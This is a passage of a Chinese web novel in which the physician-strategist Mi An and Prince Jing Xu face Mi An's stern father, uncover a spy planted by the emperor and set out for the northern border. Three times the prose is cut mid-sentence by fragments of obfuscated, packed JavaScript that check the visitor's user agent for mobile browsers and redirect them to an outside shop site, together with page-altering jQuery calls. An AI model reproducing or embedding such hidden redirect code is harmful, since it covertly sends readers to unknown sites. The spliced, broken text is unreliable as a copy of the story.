l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648315|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然男孩挨父亲教训是常事,但宓安这么细皮嫩肉的宓朗回怎么下得去手? 宓朗回本就因为宓安私自接下黄河水患之事生气,看到景煦这副保护的姿态更是怒上心头,但对方毕竟是王爷,宓朗回还是客客气气地行了礼:“见过昭王殿下。” “宓将军不必多礼。”景煦把宓安挡的严严实实,“将军别生气,是我硬拉着青疏出京的。” 宓朗回自然不信,现下只想着先把儿子打一顿再说:“殿下该去向陛下复命了。” 景煦却道:“已经让暗卫去了。” 见景煦铁了心要挡在宓安身前,宓朗回冷声对宓安道:“青疏,你过来。” 宓安:“……” “您把棍子放下我再过去。” 宓朗回几乎被他气笑了:“你给我过来!” 他手里的棍子有一拳粗,不远处的管家拿着快抹布假装擦拭窗棂,时不时扭头往这边看一眼,心想要是将军真动手得赶紧过去拦一拦。 景煦一只手背到身后搂住了宓安:“宓将军,有话好说,青疏已经及冠,哪有这么大还挨打的道理?况且这次确实是我的主意,不然您打我吧。” 宓安的声音闷闷地传来:“您打他吧。” 宓朗回万万没想到宓安能说出让他打皇子的话,一时震怒:“宓青疏!” 景煦把宓安护得死死的,哭笑不得道:“您先消消气。青疏本就体弱,您这么粗的棍子不是要了他的命吗?” 宓朗回这才想起来自己儿子还在装柔弱,他看了景煦一眼,又瞪了宓安一眼,终于扔了棍子:“进屋。” 景煦跟着进了正堂,宓安亦步亦趋地在景煦身后,他已经很久没受过伤了,又被景煦精心养了这么多年,乍一看到他爹的棍子,年少时挨打的疼好像又涌了上来。 宓朗回坐下喝了口茶,看到景煦还在这里,便道:“殿下放心,我不打他了,您安心回去吧。” 景煦就当没听到这逐客令,厚着脸皮道:“我不忙。” 宓朗回:“……” 宓安没忍住笑了下,被他爹瞪了一眼,连忙抿了抿唇,正襟危坐。 景煦难得见宓安这副样子,只觉得可爱,但碍于宓朗回在场又不好逗他,于是开门见山道:“宓将军,青疏想做什么就由他去吧。” 宓朗回见他直言,想必也已经知道了宓安并非装出来的那般无能,索性也不拐弯抹角了:“他想做什么?想封侯拜相吗?若陛下知道青疏有此志向,宓家安能太平?” 宓安道:“我没想……” “你没想为官,可不管你做什么,只要你够聪慧,够出众,你就是他的眼中钉。”宓朗回叹了口气,“小时候每次打你都是因为什么?我以为你大了,应当已经知道为父的用心了。” 宓安不作声,的确他儿时挨打都是因为不愿听父亲的话装出无能的样子,甚至为了证明自己,还偷偷创立了朝青。 但景陆的身体每况愈下,如今景煦已经是真正的掌权人了,所以他这次才毫无顾忌地自请前去整治水患。 只是他没办法向宓朗回解释,宓朗回不信任景陆,自然更不信任景煦。 宓朗回道:“昭王殿下,陛下的身体我也略有耳闻。大皇子无能,明眼人都知道下一位天子是谁。” 景煦见宓朗回已经摊开了,正想说那您就更不用担心了,却又听宓朗回说道:“来日您登基,请您允臣告老还乡。宓家旧将可全部为您所用,我……” “宓将军。”景煦打断道,“您不必如此,我和父皇不一样。” 宓朗回看向他:“殿下这是何意?” “我知道,父皇怕您拥兵自重,又怕没了您边境难安。您进退两难,既不敢过于骁勇,又不敢太过无能,所以只好让青疏假装体弱多病、不堪大用,以此让父皇觉得宓家会慢慢衰落。”景煦对景陆从来没有什么父子之情,“但我与青疏年少相识,已有二十余载。我们之间不会有这些猜疑和隔阂。” 宓朗回看着两人,突然笑了起来。 “我与陛下,也是年少相识。” 11. 想念 宓安从来不知,他的父亲与景煦的父亲,竟也是少年相识的。 那年景陆还是瑞王,与御史一起下江南查处贪官,结识了当时还是镇国侯世子的宓朗回。 二人一见如故,少年人轻狂热血,竟然皇天后土一杯酒,就这么拜了兄弟。 与皇子结拜也是大逆不道了,宓朗回回去就被镇国侯打了一顿,但二人依旧不管不顾兄弟相称,直到景陆登基。 老侯爷去世,宓朗回承了镇国侯的爵位,也承了父亲一身武艺,打的边疆部族节节败退,再不敢越雷池一步。 说来好笑,宓朗回一直以为景陆让宓家迁至京城是因为兄弟情义,他出征在外有皇上关照宓家自然安心。可后来才知道,原来景陆只是觉得天高皇帝远,宓家家眷在自己眼皮底下做人质才放心。 听宓朗回说起往事,景煦沉默良久。宓朗回略带嘲讽地说道:“当年我爹要打我,陛下也这么帮我劝着。” 景煦却问:“只是劝着吗?” 宓朗回一时被问住,他记得当年景陆劝了老侯爷许久,只是景陆离开后老侯爷这顿毒打还是落到了他身上。 景煦看他的神情便猜了个七七八八:“他向来假仁假义,只会做嘴上功夫。我跟您直说了吧,一会我回宫也是要把青疏带走的,您要是还想打他不如现在先打我一顿出出气。” 宓安悄悄给了他后背一拳:“你少在我爹面前胡说八道!” 景煦看向他,理直气壮道:“我没胡说,你不跟我走那我就留下,反正他别想打你。” 宓朗回看着自家儿子给了昭王殿下一拳又一拳,后者不仅丝毫没生气,还拉着宓安的手往自己肚子上打:“打这里,手不疼。” “……” 宓朗回总觉得哪里不太对劲。 “青疏,你怎么打算的。”宓朗回叹了口气,终于好声好气对宓安说话了。 “爹。”宓安抽回手,“我不知道你与陛下从前是什么样的,但景煦和我必然不会走到这一步。” 即便是二人不再似年少时亲近,甚至宓安刻意疏远景煦的前世,他们之间“信任”二字也从未消失。 宓朗回深深看了两人一眼,突然道:“你似乎从未唤过他‘殿下’。” 宓安一愣,景煦以为宓朗回又要挑宓安的错处,立刻道:“叫过的叫过的,青疏很知礼数的。” “是吗?”宓朗回确实没听过宓安对景煦用敬称,于是问道,“什么时候叫过?” 景煦回忆了一下上次宓安叫他殿下的时候,许久才犹豫着开口道:“骂我的时候?” 宓朗回:“……” “景长昱!”宓安小声骂他,“不是让你少在我爹面前胡说八道!” 景煦也小声道:“我哪有胡说,而且阿宓你每次叫我的字也是在骂我的时候。” “昭王殿下,青疏很信任你。”宓朗回道,“如果有一天,殿下不再信任青疏,还请您容他做个普通人。” “不会有那么一天。”景煦起身,向宓朗回行了一礼,“他会有绝对的自由。” 想做官做官,想从医从医,想游山玩水就游山玩水。他的阿宓,绝对自由。 宓安看着景煦的背影,一时感慨。景煦似乎总觉得上辈子是他把自己困在了深宫,可其实前生的他,也是心甘情愿留在景煦身边的。 天色已晚,虽然宓朗回看起来已经不太生气了,景煦还是担心宓安,把人拐回了宫里。王顺早就备好了饭菜,见二人回来,赶忙让人端了上来。 “殿下可算回来了,前几日国师来过,说是有要事要与您和宓少师相商。”王顺也很少见国师,说起来还有些诧异,“奴才还以为国师没在宫里呢。” 景煦说了声“知道了”,就打发所有人出去,安心和宓安一起吃饭了。 只是宓安有些心不在焉,满心想着前世宓朗回的死,又不自觉搭上了景煦的手,细细把起了脉。 景煦好笑道:“我真的没事,阿宓别担心了。” 宓安看向他,眼睛里不知名的情绪流转,半晌才开口:“你上次说军中有细作,是谁的细作?” 景煦一愣,宓安继续道:“那些边疆部族不过是蛮夷之人,且十分畏惧我爹。” “我不觉得他们有胆子安插细作。就算是有,他们靠什么收买细作?大渊将士的俸禄和赏赐可不是小数目。” “你说的细作,是你爹的人,对吗?” 景煦知道宓安聪明,此时还是被他这副模样撩拨得心尖微颤,好半天才道:“或许是。” 宓安垂下眸子,已经了然:“前些年他怕没了我父亲边疆会大乱,可如今有你。你的将领之才与我爹不相上下,所以他迫不及待动手了。” 难怪前世宓朗回死得这么蹊跷,原来是九五之尊亲自设计。 “他假仁假义忘恩负义无情至极真不是个东西。”景煦立刻骂起自己亲爹,“我和他可不一样!” 宓安笑了出来:“谁说你了?” 景煦蹭到宓安身边,好声哄道:“别不开心了,细作我来查,让我岳父安心在家喝茶遛弯就好。” 他一口一个岳父叫的十分顺口,听得宓安耳尖发烫:“少胡言乱语。我爹很难说服的,回头你去和他说吧,他不敢打你。” 景煦小声道:“那可不一定,他要是知道我对你有龌龊心思,今天那一拳粗的棍子非打断了不可。” 宓安无语,翻了他一个白眼:“你也知道你对我有‘龌龊心思’啊?” 景煦理直气壮:“那怎么了?我就是喜欢你。” 宓安故意说道:“现在喜欢我,那登基以后呢?那些大臣一定会日日弹劾我。” 本是随口一说,景煦却看着他,认真道:“我可以不做这个皇帝。” 宓安听了这话,诧异地看向他:“你不做皇帝,难道要景烈当做?他这么废物,今日登基明日就亡国了。” 景煦笑了起来,趁机靠在了宓安身上:“我没开玩笑,阿宓。我只喜欢你,不会有别人的。如果不做皇帝能让你安心,那便不做。” “安什么心?我好像没说过喜欢你。”宓安瞥他,“别在这里自作多情,做你自己的事去,不用考虑我。” 景煦“哦”了一声,完全不听宓安的话,自顾自说道:“不喜欢我也没关系,起码给我一个追求你的机会。不做皇帝的话是不是喜欢上我的可能性更大一点?” 宓安微笑道:“连皇位都没了岂不是更没机会了。” 景煦皱起眉头,认真考虑起宓安的话。上辈子宓安明明是因为他登基才开始对他客气疏离的,怎么这次不一样了呢。 半晌,景煦不知道想通了什么,说道:“阿宓是担心景烈做皇帝会苛待百姓吗?那我也可以推一个暗卫登基。” 暗处的一众暗卫闻言差点摔下树,宓安忍无可忍给了景煦胸口一拳:“你发什么疯?” 与此同时,占星楼里的国师正满脸阴沉地看着忽上忽下摇摇欲坠的国祚,咬牙切齿地想去把景煦人打一顿。 这边宓安已经替国师把景煦锤了一顿,边锤边威胁道:“昨日才说等你登基我要去把国库搬空,你休想克扣我的银子。” “还有,查细作我也要去,你要是自己偷偷跑,我就把太医院的名贵药材也搬空。” 景煦还没说话,宓安补充道:“你不同意也没用,反正我会偷偷跟去。” 他这理直气壮的劲越来越像景煦了,既如此,景煦哪敢不同意,还是把人放在眼前更让他放心。 “知道了,阿宓别打了,小心手疼。” 前世宓朗回的死是宓安挥之不去的噩梦,后来景煦也离他而去,这世间对宓安而言实在是了无牵挂了。 宓安想起父亲刚刚生出寥寥几根白发,不自觉抚了抚景煦落在胸前的头发。 似乎自古名将,皆是不许人间见白头的。 宓安握紧手中的长发,既然有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648316|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会重来,他一定要父亲长命百岁,也要和景煦白头到老。 景煦握住了宓安的手,温声问道:“阿宓在想什么?” 宓安回过神,放开了他的头发:“弄疼你了?我走神了。” 景煦摇摇头:“不疼。阿宓出神这么久,莫不是在想,‘结发同枕席’?” 宓安懒得听景煦胡言乱语,干脆起身离开了饭桌,躺在景煦的床上把被子蒙过了头,生硬地移开话头:“国师叫什么名字?” 景煦喊人来收拾碗筷,追着宓安跑到了床前蹲下,说道:“枨衔水。” “离我这么近做什么。”宓安扒开一点被子,露出一只眼睛看他,“姓程?” 景煦的手伸进被子,摸到宓安的手,一边占便宜一边在他手心写了一个“枨”字。宓安皱着眉辨认了好一会,问道:“有这个姓吗?” 景煦笑道:“不知,不过除了国师我从未听过。” 宓安其实也不关心国师叫什么,窝在被子里闷声问景煦:“你怎么总住这里,什么时候回王府?” “还不是阿宓说同我单独在王府过夜会惹人非议,我才一直待在宫里的。”说起这个景煦还有些委屈,“我们从小一起长大,同床共枕的日子还少吗?谁敢非议。” 宓安提醒道:“哑巴礼部侍郎。” 景煦笑了声:“那阿宓把他们全毒哑好了。” 宓安瞥他一眼,又看了看门外忙忙碌碌的宫人,说道:“我们回王府吧?” 景煦眼睛一亮:“真的?” 宓安警惕道:“我只是觉得宫里人多口杂,不方便议事。” 景煦完全不在乎宓安嘴硬,熟练地连人带被子抱进了怀里,扬声道:“王公公,收拾东西回王府。” “是。” 宓安被他抱着走出宫门,默默把头藏进了被子里:“你烦死了,丢不丢人,你的马车呢!” “就几步路,我抱你回去就好了。”景煦理直气壮,把宓安往上托了托,心情大好,“阿宓终于愿意跟我回家了。” “谁要跟你回家,军中细作是你爹安排的,在他眼皮底下谈论岂不是容易暴露?” 风声自耳边掠过,宓安眼前一片漆黑,但隔着被子也能听到景煦的心跳声,这个人好像总能让他莫名安心。 前世总被景煦半诱哄半强迫地哄着乱来,他每次都半夜爬起来摸回自己屋里,又在更深的夜里被景煦裹着被子抱回他的寝殿。 那时的他明知不能再这样荒唐下去,却又忍不住一次次沉沦。现在想起来,竟莫名觉得自己像在撒娇一般,真是不成体统。 而此时更不成体统的昭王殿下已经抱着宓安翻墙进了自己家,压在人身上就不起来了。 宓安被被子裹得紧紧的,动弹不得,看着趴在自己胸口的人,无奈道:“放开我。” 景煦却抱得更紧了:“不放。” “踹你了。” “踹吧。”景煦挪了挪身子,埋在宓安颈窝,“阿宓,青疏,安安……” “不许叫安安。”宓安不自在地动了动,这称呼只有他娘亲叫过,上次遇到朝青的时候他就想说了,这声“安安”从景煦嘴里出来,总让他觉得面红耳赤。 景煦难得听话,又一声声叫起了“阿宓”。 “做什么呀。”宓安好不容易抽出一只手,轻轻摸了摸景煦的头,“昭王殿下怎么好像心情不太好?” 景煦垂下头方便他摸,腻腻歪歪地说道:“想你。” 宓安好笑道:“我们好像一刻钟都没分开过。” 景煦低声笑了下,也不解释,只紧紧抱着宓安,撒娇般的蹭了蹭。 宓安勾了勾他的长发,似乎有些明白景煦在想什么,无非是想念那个与他一起策马执剑征战沙场,一起穿过风雪采过雪莲,携手见过大漠孤烟的宓青疏罢了。宓安莫名生出了一丝对自己的醋意,于是小小地迁怒了一下怀里的人。 你且想着吧。 12. 军师 国师果然是没那么好见的,明明是他先找的景煦,景煦晚来几天就吃了闭门羹。 占星台的宫人一字不差地重复国师留下的话:“殿下,国师说‘你们现在担心的事不急,先忙正事去吧’。” 宓安皱眉道:“可我觉得很急。” 景煦笑着拉住他:“既然国师说不急,那咱们就先忙正事。” 去上朝的路上,宓安不放心地又给景煦把了几次脉,脉象依然平稳强健,看不出异常。 景煦握住他的手,安抚道:“别担心。” 两人就这样牵手牵了一路,进大殿前,宓安抽回了手,不自在地说道:“别总对我动手动脚的。” 景煦仿佛才意识到自己把人牵了一路,惊讶道:“你居然没有一开始就甩开我。” “我在想事情!”宓安欲盖弥彰,“还不是因为你总是动手动脚!” 景煦接道:“所以阿宓已经习惯了?今天可以牵手明天就可以……” “滚。”宓安推开他,“等下不许在我爹面前胡说八道。” “我哪有……”景煦正想反驳,对上宓安凉飕飕的眼神,立刻改口,“遵命遵命。” 昭阳殿此时没有景煦在位时那么金碧辉煌,有的只是一派庄严肃穆。宓安看着眼前的大殿,不由感叹这才应该是上朝的地方,景煦做皇帝的时候这地方简直可以用奢靡来形容。 而此时奢靡的皇帝也打量着大殿,说道:“阿宓,我打算把这柱子换成金的。” 宓安无语,狠狠瞥了他一眼:“说什么疯话?你是已经登基了吗?” 景煦无所谓道:“早晚的事,或者阿宓喜欢银的?” “丑死了。”宓安试图阻止他把这里变得和前世一样丑,“金银都丑,别糟践这好木头。” 景煦神色恹恹:“好吧,我以为阿宓会喜欢金的。” 宓安心下一动,问道:“你想换成金的,是因为我喜欢?” “对啊。”景煦看向他,“不然我折腾这地方干什么,又不住这。” 宓安莫名其妙:“你为什么会觉得我喜欢金子?” “我记得你有个金镯子呀,还雕了桃花。”景煦说道,“但你害羞,总不愿意戴出来。” 宓安仔细回想了一下自己什么时候有个雕桃花的金镯子,半晌,无语道:“那是我的暗器,但不太好用,就闲置了。” 景煦:“……” 难怪前世他把宫里打造得金碧辉煌阿宓也不给他好脸色!原来阿宓根本不喜欢金子! 宓安觉得好笑,难怪前世这人三天两头换个金柱子打个金桌子,要不是他阻止估计床都要换成金的。虽然景煦在位时百姓富足,国库也充实起来了,但也不带这么挥霍的,为此他还好好把景煦说了一顿。 原来竟是以为他喜欢金子。 说话间二人已经走进了大殿,宓安只有一个闲职虚名,所以站在了最后,景煦站在他身边也不走了。 宓安:“?” “这个位置好不习惯。”景煦小声说道,“阿宓还是站在最前面比较舒服。” “我爹也在最前面。”宓安道,“离他远点我比较舒服。” 景煦笑了起来:“说得也是,你看,我岳父又在瞪你了。” 宓安冷冷道:“明明是在瞪你,滚回你的位置去。” “好吧。”毕竟还没登基,景煦也不好太放肆,于是听宓安的话乖乖走到了宓朗回旁边。 “昭王殿下。”宓朗回有些咬牙切齿,“青疏为什么又来上朝了?” 景煦笑道:“宓将军,我腿脚不好,离不开青疏。” “……” “皇上驾到——” “吾皇万岁——” 太监的通报声打断了宓朗回即将出口的暴言,众大臣齐齐行礼,高位上的景陆依然是一副病怏怏的模样,挥手道:“平身吧。” 景陆看向宓朗回,不知在想什么,良久才道:“近日北夷蠢蠢欲动,边界处百姓屡遭抢掠,明还,你替朕出兵,必要时可杀北夷皇室。” 宓朗回拱手道:“臣领……” “陛下。”宓安出列打断了宓朗回,“家父近日身体不适,不如……” 景煦猜到宓安想说什么,立刻接道:“不如让儿臣和青疏一起去吧。” 景陆看向他,景煦与他对视,说道:“青疏有军师之才,有他同行必定事半功倍。” 半晌,景陆道:“准了。” 散朝后,景煦又跟着宓安回了将军府,熟练地挡在人身前和宓朗回讲道理:“宓将军,是我的主意。” 宓朗回拎起棍子指着景煦:“你是不是以为我不敢打你!” “您打吧,打了我可不能再打青疏了。” 宓安在他身后点头:“打了他就不能打我了。” “宓青疏!你到底想干什么!”宓朗回被两个小辈气的头疼,“景……陛下还没驾崩呢!” 宓安解释道:“爹,虽然上次那事是我的意思,但这次真的是景煦的主意。” 景煦点点头:“您放心吧,我自有安排,我会保护好青疏的。” 宓朗回只是不想儿子在景陆面前锋芒毕露招来祸患,听到景煦这么说,当即不高兴道:“我儿子还不需要他儿子保护!” 景煦从善如流:“青疏会保护好我的。” 宓安戳了戳他的腰,小声道:“快跑。” 景煦毫不犹豫地拉起宓安就跑,身后是宓朗回的怒吼:“你不许让青疏涉险!” 出了将军府好远,景煦还心有余悸:“你爹脾气怎么这么大?” “以前脾气大是被我气的。”宓安踢了踢脚下的石子,“现在是被咱俩气的。” 景煦哈哈笑道:“岳父大人知道朝青的事吗?” 宓安摇摇头,警惕地看向他:“你可别说漏了,他要是知道朝青的主人是我,那根棍子就不是拎起来吓人而已了。” “唉,岳父脾气这么差,我以后可怎么上门提亲啊。” “滚。” 景煦嬉皮笑脸地追上宓安,哄道:“错了错了,阿宓别气。” 宓安瞥他一眼,没再说话。景煦自顾自找话:“原来我岳父的字是‘明还’?我今天才知道。” 宓安点点头:“好像是取‘朗回’的同义字。不过我娘去世后就没人叫过了。” 就像前世师父和父亲都去世后,也没人再叫过他“青疏”了。 “死老头装模作样,一口一个‘明还’,好像和我岳父很熟似的。”景煦抓紧一切机攻击景陆。 宓安斜眼看他:“你和我爹也不是很熟,别一口一个岳父。” “我和你熟呀。”景煦在宓安面前向来脸皮厚,“阿宓来,叫声相公听听。” “景长昱,我最近是不是对你脾气太好了?”宓安被他气笑了,“你的胡言乱语是不是太多了?” 景煦立刻收声,很识时务地换了个话题:“咱们明早就出发去边境,我让暗卫去将军府给你收拾东西。” 宓安“嗯”了一声:“顺便将暗格里的令牌拿来,把我的令牌还给我。” 景煦不给:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648317|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就要这个刻‘青’字的。” 宓安懒得跟他费口舌:“随你。” 景煦出征时习惯与将士们一同骑马,现下虽已立秋,太阳没有盛夏时那么毒辣,但还是照得人不太舒服,宓安看着眼前的马车,莫名其妙地问他:“马车做什么用的?” 景煦眨眨眼:“给你用的呀。” 宓安看着他,不禁反省重生回来后自己生气的次数骤增到底是因为什么,却想起前世景煦登基后也一样对自己毫无底线,无奈叹了口气道:“换个普通马车。” “可……” “各退一步吧。”宓安微笑看他,“你肯定不同意我骑马,我也不会同意乘你这奢靡的马车,那就折中,换个普通马车。” 景煦“哦”了声,让暗卫去换马车,宓安却越想越不对劲:“你到底为什么总不让我骑马?” “阿宓小时候从马上摔下去过。”景煦理直气壮,“太危险了。” 宓安头疼道:“初学马术谁没摔过?你是上马就会骑的吗?” “我是啊。” “……你滚。” - 翌日一早,宓安特地回了一趟将军府,好好嘱咐了宓朗回在家“养病”,按时吃药,不要乱跑,被宓朗回拎着棍子赶了出来。 行军的马车上,宓安第一次附和景煦:“我爹脾气确实变差了。” 景煦笑道:“下次回家带上我,岳父打人下手太重了,我替你挡挡。” “我已经很多年没挨过打了。”宓安随手翻着军中账本,前世宓朗回走的早,他真的是很多很多年没挨过父亲训斥了。 “对了。”宓安看了景煦一眼,却见他正直勾勾盯着自己,于是避开他的眼神,说道,“方才我让暗卫留下保护我爹,小五说已经有暗卫在了。多谢你。” 景煦摇摇头:“阿宓跟我这么见外做什么。不过如果非要谢,过来亲我一口。” 宓安手里的账本砸到了景煦头上:“滚出去。” 景煦揉着头出了马车,刚翻身上马,几位副将就贴了过来,邓之武低声问道:“殿下,马车里是谁啊?” 几个副将都凑了过来,景煦随口道:“本王请的军师。” 刘平威满脸惊讶:“殿下还需要军师?” 每次打仗景煦都是一人兼任将军和军师,从来不需要这种上不了战场只能在后方指点江山的角色,几人眼神微变,暗戳戳地往马车上瞄。 景煦扫了几人一眼,说道:“宓将军家的公子。” 宓朗回的威名在大渊将士的心里与真神无异,几位副将立刻直起身子,恨不能在马背上正襟危坐,嘀嘀咕咕道:“宓将军家的!” “我怎么听说宓将军家的公子自小体弱多病啊?” “宓将军是什么人!他的儿子就算不会武功也肯定有其他过人之处!” “没听殿下说是军师吗!宓公子肯定神机妙算运筹帷幄!” “连殿下都请宓公子做军师,宓公子比殿下还厉害!” “……” 宓安在马车里听得好笑,原来他爹在军中竟然有这样的威力,也难怪景陆总是疑神疑鬼。 “少说废话。”景煦学宓安说话,“离马车远点,别吵青疏休息。” “殿下,咱们说话声音这么小,宓公子不是习武之人,听不到的。”齐怀仁又贴了过来,“您给透个底,到时候开战需不需要以宓公子的性命为先啊?” 景煦表情微妙:“不必。你小心着别受重伤,免得到时候还得求着青疏救你。” “啊?” 13. 医术 到北夷边境不过半月路程,几位副将渐渐与宓安熟络起来。这几人崇拜宓朗回,连带着对宓安爱屋及乌,众人一看他这白净瘦弱弱柳扶风的模样,一个个像当爹一样心疼起来。 “宓公子,我们打了两只野兔,你多吃点!” “唉听说宓公子从小身体不好,一定受苦了吧……” “男人家这么瘦弱怎么好啊,多吃点儿!” “唉可惜宓将军的独子不能……不是我不是这个意思!” 唉声叹气的刘平威被几人捂住了嘴,宓安笑着挥挥手:“无事。” 景煦弹了块石头出去,打得刘平威嗷嗷叫,宓安好笑地拍了他一下:“别胡闹。” 景煦皱着眉,心情不大好:“你们几个有事?” 齐怀仁把烤好的野兔递给宓安:“殿下,咱们身为大渊将士,有责任照顾好宓将军家的公子!” “用你照顾?”景煦抢过宓安手里的野兔,把自己烤的塞进他手里,“都滚。” “多谢几位将军了。”宓安笑道,“不用特别照顾我,况且现下是在军中,几位还是称我‘军师’吧。” “好的军师!” “军师吃个鱼!” 景煦:“……” 景煦正想把人都赶走,邓之武突然“嘘”了一声,指了指林子,压低声音:“有只野鸡!这个嫩!” 刘平威坐的最近,立刻爬起来,轻手轻脚地摸过去:“看我给军师抓来补身子。” 那野鸡却好像看了他一眼,扑棱着就要飞走,齐怀仁骂道:“你这么大动静野鸡在姥姥家都听见了!” 突然,不知什么东西破空飞来,直直穿过了野鸡的喉咙。 “哦!”刘平威跑过去拎起野鸡,一看钉在它脖子上的竟然是一截树枝,佩服得五体投地,跑回来对景煦道:“殿下好箭法!不对,好暗器!” 齐怀仁和邓之武眼睁睁看着宓安随手射出一截树枝钉死了野鸡,正沉浸在对自己的怀疑中无法自拔,刘平威见两人目瞪口呆,奇怪道:“你俩咋了?” 景煦摊手:“不是本王出的手。” 齐怀仁怀疑人生:“是军师……” 邓之武:“我就知道军师不是普通人!” 刘平威也加入了怀疑人生的队伍:“这野鸡还是我自己补补吧……” 宓安笑道:“雕虫小技而已,我自小身体不好不能习武,只能学些暗器了。” 刘平威和邓之武只会舞刀弄枪,齐怀仁却对暗器略有涉猎,听到宓安这么说,他不确定地小声问景煦:“殿下,军师这种程度的暗器好像也得用内力吧?” 景煦道:“本王又不会用暗器。” 见景煦装傻,齐怀仁只好压下疑惑,和刘平威抢野鸡“补身子”去了。 夜已深,三位副将明早还要起来点兵,结伴休息去了,宓安慢条斯理地吃着景煦的烤兔,问道:“明日就能到营地了吧?” 景煦太了解宓安了,当即就明白他想说什么,直接拒绝道:“没有你的营帐。” 宓安笑道:“好,那我和齐将军住一间。” 景煦委屈巴巴地靠过去:“我们小时候都是睡一起的,为什么现在不和我睡了。” “因为我有事瞒你。”宓安微笑,“我私下要和朝青的人商量暗杀你。” 景煦委屈道:“我知道军师睡王帐不合规矩,但让人给你扎个营帐做做样子不就好了。” “你是小孩子吗,睡觉还要人陪着?”宓安瞥他,“以前出来打仗谁陪你睡?” 景煦道:“阿宓不在,我孤枕难眠,第二天起来齐怀仁都以为我大限将至了。” “……胡言乱语。”宓安皱起眉头,“不许说这种话。” “遵命——”景煦尾音拉得老长,“阿宓最近脾气也大的很,是不是我让你不高兴了?” 宓安摇头,只是前世宓朗回的忌日越来越近,他总是没由来的心慌。 “赵盼山怎么样了?”宓安问。 “暗卫已经潜进他家里了,等回去就收拾他。”左右不过重复一次前世,景煦没太放心上,“只是军中细作我还没有眉目。” “这次我爹没来,细作会不会停止行动了?” 景煦笑道:“阿宓不了解那老东西,杀你和杀我岳父对他来说是一样的,况且,照你这‘弱柳扶风’的样子,杀你显然更简单些。” 宓安疑惑:“可是你在这里,他不怕误伤你?” 景煦嘲讽道:“他巴不得我赶紧死了让景烈那废物继位……好了好了我不说‘死’就是了。” 对上宓安冷飕飕的眼神,景煦赶紧改口,又递了张帕子过去,讨好道:“夜深了,休息吧?” 宓安把擦完手的帕子扔到他脸上,怒道:“你脑子里能有点别的事吗?” 宓安头也不回地回了帐篷,看着他愤怒的背影,景煦甚至来不及解释自己真的只是想休息。 - 北夷荒凉,与之接壤的河州却土壤肥沃,生机盎然。一墙之隔天差地别,北夷人觊觎河州多年,碍于大渊兵力强盛不敢来犯。近日却不知吃了什么熊心豹子胆,竟骚扰起了河州百姓。 大军于河州城外五十里驻扎,几乎挨在了北夷的边境线上,景煦摆明了是贴脸挑衅,北夷人只派兵远远守着,竟不敢向前一步。 邓之武“呸”了一声,讥讽道:“欺软怕硬的蛮夷人。” 河州知府马天川是位年轻人,看起来和孟兆兴是差不多的年纪,宓安感叹道:“真是年轻有为。” 景煦听了,抬手指了指自己。 宓安熟练地敷衍他:“你也有为。” 景煦开心了,抱起手臂笑道:“河州情况特殊,这里的知府和驻军往来频繁,知府都要掰成都护用了。” “这里的都护呢?” 景煦指了指城外的血迹:“喏,刚砍了。” 齐怀仁小心翼翼地过来,问道:“殿下,都护已经斩了。但是咱们是不是应该先往京中上个折子,皇上下旨才能斩啊……” 景煦疑惑道:“他不是被北夷人误杀的吗?你去写个折子,给他家里人发一笔抚恤。” 齐怀仁配合道:“属下遵命。李都护为国捐躯可歌可泣。” 二人一唱一和的,看得宓安目瞪口呆,半天才找到机会开口:“怎么就给斩了?” “白日酗酒,我看到他那副萎靡的模样就来气。”景煦冲远处的马天川招手喊他过来,“马大人,之后都护一职由你兼任,务必将都护府整顿好。” 马天川惶恐道:“殿下?这是不是太草率了!” “我听没五说都护府个个尸位素餐,一应事务向来是马大人处理的。”景煦摆摆手,“以后都护的月例你也领着。” 马天川不知道没五是谁,想来应该是景煦的某个亲信,于是谢恩道:“谢殿下恩典。” 不远处的宓安突然轻声道:“小五?” 影五不知从哪里现出身形:“公子。” 宓安笑道:“你们的名都是一样的,殿下叫你们只叫名,叫其他人也是吗?” 影五道:“回公子。其他三部殿下是叫全名的。” 宓安好奇:“因为你们和他比较熟?” 影五沉默了一下,说道:“或许是。” 宓安笑了起来,景煦刚和马天川交待完一应事务,就看到树下的美人正笑吟吟地和他的暗卫相谈甚欢。 影五突然后脑一凉,本能地侧身挡在了宓安身前,直到对上景煦冷冷的眼神,才行了一礼道:“主子。” “聊什么呢,这么高兴。”景煦语气不大好,“也说给本王听听。” 宓安让影五退下,故意道:“在聊不知谁家醋坛子翻了,好大的酸味儿。” 景煦闻了闻:“有吗?” 宓安点点头,肯定道:“有啊,好酸好酸。” 景煦:“……” “阿宓!!!” “哈哈哈哈哈哈哈哈!” 将士们忙着扎营,最识时务的齐怀仁小心翼翼地寻到了正在巡视后厨的景煦:“殿下,军师的营帐扎到何处啊?” 景煦不在意地挥挥手:“随便,按惯例排就行。” 齐怀仁有些奇怪,不敢多问便回了营地。 最终宓安的营帐按规矩和副将们扎在了一起,离景煦的王帐有半里远。 当晚,使尽浑身解数都没把宓安留下的昭王殿下当真孤枕难眠,想起白天对齐怀仁说的“随便”,悔的肠子都青了。 月上中天,宓安坐在榻上,听着不知何处震如惊雷的鼾声,深深怀疑起了自己。 